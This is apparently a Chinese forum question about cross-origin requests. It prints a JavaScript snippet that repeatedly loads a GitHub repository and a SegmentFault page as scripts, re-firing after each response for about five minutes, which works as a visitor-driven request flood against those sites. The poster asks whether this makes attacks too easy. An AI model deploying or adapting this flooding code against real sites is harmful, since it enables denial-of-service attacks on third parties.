演示地址：http://runjs.cn/code/vmjaz1pj

如果说这样就可以跨域请求资源了，那岂不是想要攻击谁就攻击谁？这样太不安全了。

代码如下：

document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");

!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;

function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}

url_array = ["https://github.com/aiyuchen/LaravelShoppingcart", "http://segmentfault.com/q/1010000000339531"];
NUM = url_array.length;

function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}

function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}

function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);